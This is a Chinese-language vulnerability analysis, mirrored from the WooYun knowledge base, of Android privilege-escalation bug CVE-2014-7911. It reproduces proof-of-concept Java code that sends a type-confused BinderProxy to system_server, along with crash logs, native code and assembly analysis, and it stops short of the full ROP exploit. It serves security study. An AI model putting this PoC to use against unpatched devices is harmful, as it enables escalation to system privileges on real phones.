5

cve-2014-7911安卓提权漏洞分析 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

cve-2014-7911安卓提权漏洞分析

0x00 简介


CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用户执行命令,漏洞信息与POC见(1]。漏洞的成因源于在安卓系统(<5.0)中,java.io.ObjectInputStream并未校验输入的java对象是否是实际可序列化的。攻击者因此可以构建一个不可序列化的java对象实例,恶意构建其成员变量,当该对象实例被ObjectInputStream反序列化时,将发生类型混淆,对象的Field被视为由本地代码处理的指针,使攻击者获得控制权。

0x02 漏洞分析


在Jann Horm给出的漏洞信息与POC中(1],向system_server传入的是不可序列化的android.os.BinderProxy对象实例,其成员变量在反序列化时发生类型混淆,由于BinderProxy的finalize方法包含本地代码,于是在本地代码执行时将成员变量强制转换为指针,注意到成员变量是攻击者可控的,也就意味着攻击者可以控制该指针,使其指向攻击者可控的地址空间,最终获得在system_server(uid=1000)中执行代码的权限。下面主要结合POC对漏洞进行详细分析,由于笔者之前对相关的Java序列化、Android binder跨进程通信和native代码都不太熟悉,主要根据参考文献进行翻译、整理和理解,不当之处,还请读者海涵。

Java层分析:

第一步,构建一可序列化的恶意对象

创建AAdroid.os.BinderProxy对象,并将其放入Bundle数据中

#!java
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable("eatthis", evilProxy);

注意AAdroid.os.BinderProxy是可序列化的,其成员变量mOrgue就是随后用于改变程序执行流程的指针。随后该可序列化的AAdroid.os.BinderProxy将在传入system_server之间修改为不可序列化的Android.os.BinderProxy对象

#!java
public class BinderProxy implements Serializable {
    private static final long serialVersionUID = 0;
   //public long mObject = 0x1337beef;
   //public long mOrgue = 0x1337beef;
   //注意:此处要根据待测的Android版本号设置,在我们待测试的Android 4.4.4中,BinderProxy的这两个Field为private int,这样才能保证POC访问的地址为我们设置的值0x1337beef
   private int mObject = 0x1337beef;
   private int mOrgue = 0x1337beef;
}

第二步,准备传入system_server的数据

主要通过一系列java的反射机制,获得android.os.IUserManager.Stub,andrioid.os.IUserManager.Stub.Proxy的Class对象,最终获得跨进程调用system_server的IBinder接口——mRemote,以及调用UserManager.setApplicationRestriction函数的code——TRANSACTION_setApplicationRestriction,为与system_server的跨进程Binder通信作准备。

#!java
Class clIUserManager = Class.forName("android.os.IUserManager");
            Class[] umSubclasses = clIUserManager.getDeclaredClasses();
            System.out.println(umSubclasses.length+" inner classes found");
            Class clStub = null;
            for (Class c: umSubclasses) {
                //it's android.os.IUserManager.Stub
                System.out.println("inner class: "+c.getCanonicalName());
                if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
                    clStub = c;
                }
            }

            Field fTRANSACTION_setApplicationRestrictions =
                    clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
            fTRANSACTION_setApplicationRestrictions.setAccessible(true);
            TRANSACTION_setApplicationRestrictions =
                    fTRANSACTION_setApplicationRestrictions.getInt(null);

            UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
            Field fService = UserManager.class.getDeclaredField("mService");
            fService.setAccessible(true);
            Object proxy = fService.get(um);

            Class[] stSubclasses = clStub.getDeclaredClasses();
            System.out.println(stSubclasses.length+" inner classes found");
            clProxy = null;
            for (Class c: stSubclasses) {
                //it's android.os.IUserManager.Stub.Proxy
                System.out.println("inner class: "+c.getCanonicalName());
                if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
                    clProxy = c;
                }
            }

            Field fRemote = clProxy.getDeclaredField("mRemote");
            fRemote.setAccessible(true);
            mRemote = (IBinder) fRemote.get(proxy);//获得跨进程调用system_server的IBinder接口

            UserHandle me = android.os.Process.myUserHandle();
            setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());

第三步,向system_server传入不可序列化的Bundle参数

接下来,调用setApplicationRestrictions这个函数,并传入了之前打包evilproxy的Bundle数据作为参数。将该函数与Android源码中的setApplicationRestrication函数[6]对比,主要的区别在于将传入的Bundle数据进行了修改,将之前可序列化的AAdroid.os.BinderProxy对象修改为了不可序列化的Android.os.BinderProxy对象,这样就将不可序列化的Bundles数据,通过Binder跨进程调用,传入system_server的Android.os.UserManager.setApplicationRestrictions方法。

#!java
public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
            userHandle) throws android.os.RemoteException
    {
        android.os.Parcel _data = android.os.Parcel.obtain();
        android.os.Parcel _reply = android.os.Parcel.obtain();
        try {
            _data.writeInterfaceToken(DESCRIPTOR);
            _data.writeString(packageName);
            _data.writeInt(1);
            restrictions.writeToParcel(_data, 0);
            _data.writeInt(userHandle);

            //修改AAdroid.os.BinderProxy为Android.os.BinderProxy

            byte[] data = _data.marshall();
            for (int i=0; true; i++) {
                if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
                    data[i] = 'a';
                    data[i+1] = 'n';
                    break;
                }
            }
            _data.recycle();
            _data = Parcel.obtain();
            _data.unmarshall(data, 0, data.length);
            /**
            通过Binder机制跨进程调用Android.os.UserManager.setApplicationRestrictions方法,
            向system_server传入的是实际不可序列化的Android.os.BinderProxy对象
            */
            mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
            _reply.readException();
        }
        finally {
            _reply.recycle();
            _data.recycle();
        }
    }

安装POC,启动Activity后将其最小化,触发GC,引起Android系统重启,从Logcat日志中可以看到,system_server执行到了之前设置的BinderProxy对象的0x1337beef这个值,访问了不该访问的内存,导致异常。错误信号、寄存器快照和调用栈如下:

#!bash
05-14 18:30:55.974: I/DEBUG(3695): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
05-14 18:30:55.974: I/DEBUG(3695): Revision: '11'
05-14 18:30:55.974: I/DEBUG(3695): pid: 1552, tid: 1560, name: FinalizerDaemon  >>> system_server <<<
05-14 18:30:55.974: I/DEBUG(3695): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
05-14 18:30:56.064: I/DEBUG(3695):     r0 1337beef  r1 401b89d9  r2 746fdad8  r3 6d4fbdc4
05-14 18:30:56.064: I/DEBUG(3695):     r4 401b89d9  r5 1337beef  r6 713e3f68  r7 1337beef
05-14 18:30:56.064: I/DEBUG(3695):     r8 1337beef  r9 74709f68  sl 746fdae8  fp 74aacb24
05-14 18:30:56.064: I/DEBUG(3695):     ip 401f08a4  sp 74aacae8  lr 401b7981  pc 40105176  cpsr 200d0030
...
I/DEBUG   (  241): backtrace:
I/DEBUG   (  241):     #00  pc 0000d176  /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
I/DEBUG   (  241):     #01  pc 0007097d  /system/lib/libandroid_runtime.so
I/DEBUG   (  241):     #02  pc 0001dbcc  /system/lib/libdvm.so (dvmPlatformInvoke+112)
I/DEBUG   (  241):     #03  pc 0004e123  /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)
I/DEBUG   (  241):     #04  pc 00026fe0  /system/lib/libdvm.so
I/DEBUG   (  241):     #05  pc 0002dfa0  /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)
I/DEBUG   (  241):     #06  pc 0002b638  /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)
I/DEBUG   (  241):     #07  pc 0006057d  /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)
I/DEBUG   (  241):     #08  pc 000605a1  /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)
I/DEBUG   (  241):     #09  pc 00055287  /system/lib/libdvm.so
I/DEBUG   (  241):     #10  pc 0000d170  /system/lib/libc.so (__thread_entry+72)
I/DEBUG   (  241):     #11  pc 0000d308  /system/lib/libc.so (pthread_create+240)

Native层分析:

假如BinderProxy可以被序列化,那么在反序列化时,其field引用的对象也会被反序列化;但在POC中ObjectInputStream反序列化的BinderProxy对象实例不可序列化,这样在ObjectInputStream反序列化BinderProxy对象时,发生了类型混淆(type confusion),其field被当做随后由Native代码处理的指针。这个filed就是之前设置的0x1337beef,具体而言,就是mOrgue这个变量。

android.os.BinderProxy 的finalize方法调用native代码,将mOrgue处理为指针.

#!java
protected void finalize() throws Throwable {
    destroy();
    super.finalize();
    return;
    Exception exception;
    exception;
    super.finalize();
    throw exception;
}

其中,destroy为native方法

    #!java
private final native void destroy();

cpp代码

#!c++
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
    IBinder* b = (IBinder*)
            env->GetIntField(obj, gBinderProxyOffsets.mObject);
    DeathRecipientList* drl = (DeathRecipientList*)
            env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
    LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
    env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
    env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
    drl->decStrong((void*)javaObjectForIBinder);
    b->decStrong((void*)javaObjectForIBinder);
    IPCThreadState::self()->flushCommands();
}

最终native代码调用上述decStrong方法,从

#!java      
DeathRecipientList* drl = (DeathRecipientList*)
            env->GetIntField(obj, gBinderProxyOffsets.mOrgue);

这一行可以看出,drl就是mOrgue,可以被攻击者控制。 所以,drl->decStrong方法调用使用的this指针可由攻击者控制。

再看一下RefBase类中的decStrong方法

#!c++
void RefBase::decStrong(const void* id) const
{
    weakref_impl* const refs = mRefs;
    refs->removeStrongRef(id);
    const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
    ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
    ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
    if (c == 1) {
        refs->mBase->onLastStrongRef(id);
        if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
            delete this;
        }
    }
    refs->decWeak(id);
}

注意上述refs->mBase->onLastStrongRef(id)最终导致代码执行。

汇编代码分析:

下面看一下发生异常时最后调用的RefBase:decStrong的汇编代码。将libutils.so拖入IDA Pro,查看Android::RefBase::decStrong函数。分析时需要牢记的是,攻击者能够控制r0(this指针)

image

首先对r0的使用,是在decStrong的前下面三行代码之中

#!c++
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);

对应的汇编代码如下

ldr     r4, [r0, #4]   # r0为this指针,r4为mRefs
mov     r6, r1
mov     r0, r4
blx     <android_atomic_dec ()>

首先,mRefs被加载到r4。(r0是drl的this指针,mRefs是虚函数表之后的第一个私有变量,因此mRefs为r0+4所指向的内容)

然后,android_atomic_dec函数被调用,传入参数&refs->mStrong.

#!c++
const int32_t c = android_atomic_dec(&refs->mStrong);

这被翻译为

#bash
mov     r0, r4  # r4指向mStrong,r0指向mStrong
blx     <android_atomic_dec ()>

作为函数参数,上述r0就是&refs->mStrong。注意,mStrong是refs(类weakref_impl)的第一个成员变量,由于weakref_impl没有虚函数,所以没有虚函数表,因此mStrong就是r4所指向的内容。

另外,refs->removeStrongRef(id);这一行并没有出现在汇编代码中,因为这个函数为空实现,编译器进行了优化。如下所示。

#!c++
void removeStrongRef(const void* /*id*/) { }

在调用android_atomic_dec后,出现的是以下代码

#!c++
if (c == 1) {
    refs->mBase->onLastStrongRef(id);

对应的汇编代码

#!bash
cmp     r0, #1          # r0 = refs->mStrong
bne.n   d1ea
ldr     r0, [r4, #8]    # r4 = &refs->mStrong
mov     r1, r6
ldr     r3, [r0, #0] 
ldr     r2, [r3, #12]
blx     r2    

注意,android_atomic_dec函数执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了调用refs->mBase->onLastStrongRef(id)(即:blx r2),攻击者需要使refs->mStrong为1.

至此,可以看出攻击者为了实现代码执行,需要满足如下约束条件:

  1. drl(就是mOrgue,第一个可控的指针,在进入decStrong函数时的r0)必须指向可读的内存区域;
  2. refs->mStrong必须为1;
  3. refs->mBase->onLastStrongRef(id)需要执行成功。并最终指向可执行的内存区域。即满足

and

#!c++
if(*(*(mOrgue+4))==1){
    refs = *(mOrgue+4)
    r2 = *(*(*(refs+8))+12)
    blx r2  ----->获取控制权
}

除此以外,攻击者还必须克服Android中的漏洞缓解技术——ASLR和DEP。

0x03漏洞利用


为了成功获得任意代码执行,攻击者可以使用堆喷射、堆栈转移(stack pivoting)和ROP等技术。受限于笔者目前水平,这里就不再分析了,具体分析和retme大牛的POC可参见[2,3,4]。

值得注意的是,尽管Android采用了ASLR机制,但为了获得正确的地址,可以基于这样一个事实:system_server和攻击者app都是从同一个进程-Zygote fork而来,具有相同的基址,攻击者通过分析自己进程的map文件(位于/proc//maps)就可以知道system_server以及所加载模块的内存布局。

另外一个有趣的话题是,洞主Jann Horn对PAN的分析进行了评论(2],认为不需要复杂的ROP gadgets就可以实现命令执行,而PAN对此进行了澄清。这从侧面反映了漏洞利用技术也是一门大的学问,有时即使漏洞发现者也未必能够真正理解漏洞利用的挑战。

最后Jann Horn谈到了发现此漏洞的灵感(5],源于他在大学时听到的一次讲座,涉及到某个PHP web应用在反序列化攻击者输入数据时出现的漏洞,这使他思考其他应用是否也有类似的问题。他知道Java的反序列化由ObjectInputStream处理不可信的输入数据,android也许忘了进行检查。是的,漏洞就在那里。

参考文献

(1] http://seclists.org/fulldisclosure/2014/Nov/51

(2] http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation

(3] https://github.com/retme7/CVE-2014-7911_poc

(4] https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf

(5] https://www.reddit.com/r/netsec/comments/2mr9cz/cve20147911_android_50_privilege_escalation_using/\

(6]http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.4_r1/android/os/IUserManager.java#IUserManager.Stub.Proxy.setApplicationRestrictions%28java.lang.String%2Candroid.os.Bundle%2Cint%29


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK